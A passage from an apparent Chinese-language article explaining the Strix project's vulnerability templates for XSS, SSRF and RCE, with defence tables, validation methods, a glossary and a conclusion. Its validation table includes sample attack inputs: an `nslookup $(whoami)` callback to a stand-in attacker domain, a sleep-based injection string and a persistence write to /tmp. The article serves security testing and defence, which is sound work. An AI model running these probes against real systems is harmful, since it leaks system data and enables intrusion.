`docker.sock`、`/var/run/docker.sock`，使用 `ReadOnlyRootFilesystem`，限制 ServiceAccount 权限 | | 运行时沙箱 (AppArmor/SELinux) | 所有执行点 | 限制文件系统访问、网络、进程创建 | | 监控 OAST 与异常系统调用 | RCE 探测 | 实时告警异常 DNS/HTTP 回调、系统调用审计 | > **来源**：`rce.jinja` 中的 `<command_injection>`、`<template_injection>`、`<media_and_document_pipelines>`、`<container_and_kubernetes>` 等章节【Sources: [rce.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/rce.jinja)】 --- ## 通用验证与误报判定 {#通用验证与误报判定} | 验证维度 | 推荐方法 | 示例 | |----------|----------|------| | **Out‑of‑Band** | OAST DNS/HTTP 回调 | `nslookup $(whoami).x.attacker.tld`（RCE） | | **Timing** | 延时检测（`sleep 1`） | `;sleep#40;#41;1#59;`（XSS/SSRF） | | **输出差异** | 响应体长度、ETag、状态码 | 对比 `200` 与 `404` | | **环境信息** | `id`、`whoami`、`env` | 直接回显系统用户 | | **持久化** | 文件写入、Cron、Systemd | `echo "payload" > /tmp/poc.sh` | | **误报排除** | 检查 CSP/Trusted Types、严格编码、白名单 | 若页面含 `nonce-` 且无 inline 脚本，则 XSS 为误报 | > 以上验证要点分别摘自 XSS、SSRF、RCE 模板的 `<validation>` 与 `<false_positives>` 部分【Sources: [xss.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/xss.jinja)、[ssrf.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/ssrf.jinja)、[rce.jinja](https://github.com/usestrix/strix/blob/main/strix/prompts/vulnerabilities/rce.jinja)】。 --- ## 常用术语表 {#常用术语表} | 术语 | 含义 | |------|------| | **OAST** | Out‑of‑Band Application Security Testing，利用外部 DNS/HTTP 回调验证漏洞 | | **CSP** | Content Security Policy，浏览器端防止脚本执行的策略 | | **Trusted Types** | 浏览器 API，限制 DOM XSS 的字符串来源 | | **SSTI** | Server‑Side Template Injection，模板引擎代码执行 | | **Gadget Chain** | 通过序列化对象触发的链式代码执行 | | **Metadata Service** | 云平台提供的实例元数据接口（如 AWS IMDS） | | **gopher** | 一种原始 TCP 协议，可用于协议层渗透 | | **FastCGI** | 高性能 CGI 接口，常被 SSRF 利用写文件或执行命令 | | **Docker Socket** | `/var/run/docker.sock`，若暴露可直接控制宿主 Docker 引擎 | | **ServiceAccount Token** | Kubernetes 中的 pod 访问凭证，常被 SSRF/RCE 窃取 | --- ## 结论 Strix 的漏洞模板通过 **结构化的 Jinja 文档**，为 XSS、SSRF 与 RCE 三大攻击面提供了完整的 **危害描述、攻击范围、渗透方法、验证手段与防御建议**。结合 **Mermaid 流程图** 与 **表格**，使用者可以快速定位关键 sink、构造最小化 payload，并在实际审计或自动化扫描中复用这些模板。项目的 **贡献指南**（`CONTRIBUTING.md`）鼓励社区持续完善模板，确保在新技术栈或云平台出现时能够及时补充对应的检测与防御逻辑。 ---</article></body></html>